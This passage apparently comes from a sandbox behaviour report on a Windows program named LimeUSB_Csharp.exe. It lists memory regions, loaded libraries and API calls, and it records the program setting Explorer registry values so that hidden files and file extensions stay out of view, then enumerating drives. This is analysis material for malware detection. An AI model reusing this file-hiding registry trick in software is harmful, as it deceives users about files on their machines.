(normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4522 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4523 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4524 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4525 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4526 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4527 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4528 start_va = 0xb90000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 4529 start_va = 0xe80000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 4530 start_va = 0xf80000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 4531 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4532 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4533 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4534 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4535 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4536 start_va = 0xf80000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 4537 start_va = 0x1140000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 4538 start_va = 0x7fef3770000 end_va = 0x7fef3818fff monitored = 1 entry_point = 0x7fef3771010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4539 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 4540 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4541 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4542 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4543 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4544 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4545 start_va = 0xb90000 end_va = 0xbb8fff monitored = 0 entry_point = 0xb91010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4546 start_va = 0xbf0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 4547 start_va = 0x11c0000 end_va = 0x1347fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011c0000" filename = "" Region: id = 4548 start_va = 0xb90000 end_va = 0xbb8fff monitored = 0 entry_point = 0xb91010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4549 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4550 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4551 start_va = 0xb90000 end_va = 0xb90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 4552 start_va = 0xba0000 end_va = 0xba0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 4553 start_va = 0x1350000 end_va = 0x14d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001350000" filename = "" Region: id = 4554 start_va = 0x14e0000 end_va = 0x28dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014e0000" filename = "" Region: id = 4555 start_va = 0x28e0000 end_va = 0x339cfff monitored = 1 entry_point = 0x339e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4556 start_va = 0x28e0000 end_va = 0x339cfff monitored = 1 entry_point = 0x339e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4557 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4558 start_va = 0x7fef27c0000 end_va = 0x7fef3286fff monitored = 1 entry_point = 0x7fef27c63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4559 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4560 start_va = 0x7fef27c0000 end_va = 0x7fef3286fff monitored = 1 entry_point = 0x7fef27c63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4561 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 4562 start_va = 0x7fef3550000 end_va = 0x7fef360cfff monitored = 0 entry_point = 0x7fef35d7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 4563 start_va = 0xbb0000 end_va = 0xbb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bb0000" filename = "" Region: id = 4564 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 4565 start_va = 0xbd0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 4566 start_va = 0x7fe93160000 end_va = 0x7fe9316ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe93160000" filename = "" Region: id = 4567 start_va = 0x7fe93170000 end_va = 0x7fe9317ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe93170000" filename = "" Region: id = 4568 start_va = 0x7fe93180000 end_va = 0x7fe9320ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe93180000" filename = "" Region: id = 4569 start_va = 0x7fe93210000 end_va = 0x7fe9327ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe93210000" filename = "" Region: id = 4570 start_va = 0xbe0000 end_va = 0xbe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 4571 start_va = 0xc00000 end_va = 0xc00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 4572 start_va = 0xd50000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 4573 start_va = 0xe00000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 4574 start_va = 0x28e0000 end_va = 0x2abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 4575 start_va = 0x2bf0000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 4576 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4577 start_va = 0xc10000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 4578 start_va = 0x2cf0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 4579 start_va = 0x1acf0000 end_va = 0x1b06ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 4580 start_va = 0x28e0000 end_va = 0x29e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 4581 start_va = 0x2a40000 end_va = 0x2abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 4582 start_va = 0x2ae0000 end_va = 0x2bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ae0000" filename = "" Region: id = 4583 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4584 start_va = 0x1b070000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b070000" filename = "" Region: id = 4585 start_va = 0x1b1f0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 4586 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4587 start_va = 0x1b2f0000 end_va = 0x1b5befff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4588 start_va = 0x7fef0e80000 end_va = 0x7fef247cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 4589 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 4590 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 4591 start_va = 0x7fe93280000 end_va = 0x7fe932fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe93280000" filename = "" Region: id = 4592 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4593 start_va = 0x1080000 end_va = 0x10fcfff monitored = 0 entry_point = 0x108cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4594 start_va = 0x1080000 end_va = 0x10fcfff monitored = 0 entry_point = 0x108cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4595 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4596 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 4597 start_va = 0x7fef0d30000 end_va = 0x7fef0e7efff monitored = 1 entry_point = 0x7fef0d31090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 4598 start_va = 0xc10000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 4599 start_va = 0x1080000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 4600 start_va = 0x7fe93300000 end_va = 0x7fe9330ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe93300000" filename = "" Region: id = 4601 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 4602 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 4603 start_va = 0x7fef00c0000 end_va = 0x7fef0d2efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 4604 start_va = 0x7feefec0000 end_va = 0x7fef00b4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 4605 start_va = 0x7feeee10000 end_va = 0x7feefeb5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 4606 start_va = 0xc30000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 4607 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 4608 start_va = 0xd50000 end_va = 0xd5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 4609 start_va = 0xd70000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 4610 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 4611 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 4612 start_va = 0x1b5c0000 end_va = 0x1b891fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 150 os_tid = 0x780 [0268.602] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0269.997] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0xd4eae8 | out: phkResult=0xd4eae8*=0x1c4) returned 0x0 [0270.000] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0xd4eb38, lpData=0x0, lpcbData=0xd4eb30*=0x0 | out: lpType=0xd4eb38*=0x4, lpData=0x0, lpcbData=0xd4eb30*=0x4) returned 0x0 [0270.001] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0xd4eb38, lpData=0xd4eb18, lpcbData=0xd4eb30*=0x4 | out: lpType=0xd4eb38*=0x4, lpData=0xd4eb18*=0x2, lpcbData=0xd4eb30*=0x4) returned 0x0 [0270.037] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0xd4eaf8, lpData=0x0, lpcbData=0xd4eaf0*=0x0 | out: lpType=0xd4eaf8*=0x4, lpData=0x0, lpcbData=0xd4eaf0*=0x4) returned 0x0 [0270.038] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0xd4eb68*=0x2, cbData=0x4 | out: lpData=0xd4eb68*=0x2) returned 0x0 [0270.038] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0xd4eb38, lpData=0x0, lpcbData=0xd4eb30*=0x0 | out: lpType=0xd4eb38*=0x4, lpData=0x0, lpcbData=0xd4eb30*=0x4) returned 0x0 [0270.038] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0xd4eb38, lpData=0xd4eb18, lpcbData=0xd4eb30*=0x4 | out: lpType=0xd4eb38*=0x4, lpData=0xd4eb18*=0x1, lpcbData=0xd4eb30*=0x4) returned 0x0 [0270.039] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0xd4eaf8, lpData=0x0, lpcbData=0xd4eaf0*=0x0 | out: lpType=0xd4eaf8*=0x4, lpData=0x0, lpcbData=0xd4eaf0*=0x4) returned 0x0 [0270.039] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0xd4eb68*=0x1, cbData=0x4 | out: lpData=0xd4eb68*=0x1) returned 0x0 [0270.044] GetLogicalDrives () returned 0x4 [0270.060] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0xd4da78 | out: phkResult=0xd4da78*=0x0) returned 0x2 [0270.061] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0270.069] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xd4e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0270.071] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0270.073] CoGetContextToken (in: pToken=0xd4f980 | out: pToken=0xd4f980) returned 0x0 [0270.073] CObjectContext::QueryInterface () returned 0x0 [0270.073] CObjectContext::GetCurrentThreadType () returned 0x0 [0270.073] Release () returned 0x0 [0270.074] CoGetContextToken (in: pToken=0xd4f420 | out: pToken=0xd4f420) returned 0x0 [0270.074] CObjectContext::QueryInterface () returned 0x0 [0270.074] CObjectContext::GetCurrentThreadType () returned 0x0 [0270.074] Release () returned 0x0 [0270.075] CoGetContextToken (in: pToken=0xd4f420 | out: pToken=0xd4f420) returned 0x0 [0270.075] CObjectContext::QueryInterface () returned 0x0 [0270.075] CObjectContext::GetCurrentThreadType () returned 0x0 [0270.075] Release () returned 0x0 [0270.078] CoGetContextToken (in: pToken=0xd4f420 | out: pToken=0xd4f420) returned 0x0 [0270.079] CObjectContext::QueryInterface () returned 0x0 [0270.079] CObjectContext::GetCurrentThreadType () returned 0x0 [0270.079] Release () returned 0x0 [0270.081] CoGetContextToken (in: pToken=0xd4f440 | out: pToken=0xd4f440) returned 0x0 [0270.081] CObjectContext::QueryInterface () returned 0x0 [0270.081] CObjectContext::GetCurrentThreadType () returned 0x0 [0270.081] Release () returned 0x0 [0270.082] CoUninitialize () Thread: id = 151 os_tid = 0x4ec Thread: id = 152 os_tid = 0x330 [0269.211] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0270.077] RegCloseKey (hKey=0x1c4) returned 0x0 [0270.077] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 153 os_tid = 0x3ec Process: id = "31" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x72349000" os_pid = "0xa3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4618 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4619 start_va = 0x30000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4620 start_va = 0x130000 end_va = 0x133fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 4621 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 4622 start_va = 0xfa0000 end_va = 0x1a63fff monitored = 1 entry_point = 0x1a5e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4623 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4624 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4625 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4626 start_va = 0x7fffc000 end_va = 0x7fffcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffc000" filename = "" Region: id = 4627 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4628 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4629 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4630 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4631 start_va = 0x150000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4632 start_va = 0x7fef8d80000 end_va = 0x7fef8deefff monitored = 1 entry_point = 0x7fef8d81134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4633 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4634 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4635 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4636 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4637 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4638 start_va = 0x1f0000 end_va = 0x256fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4639 start_va = 0x260000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4640 start_va = 0x260000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4641 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 4642 start_va = 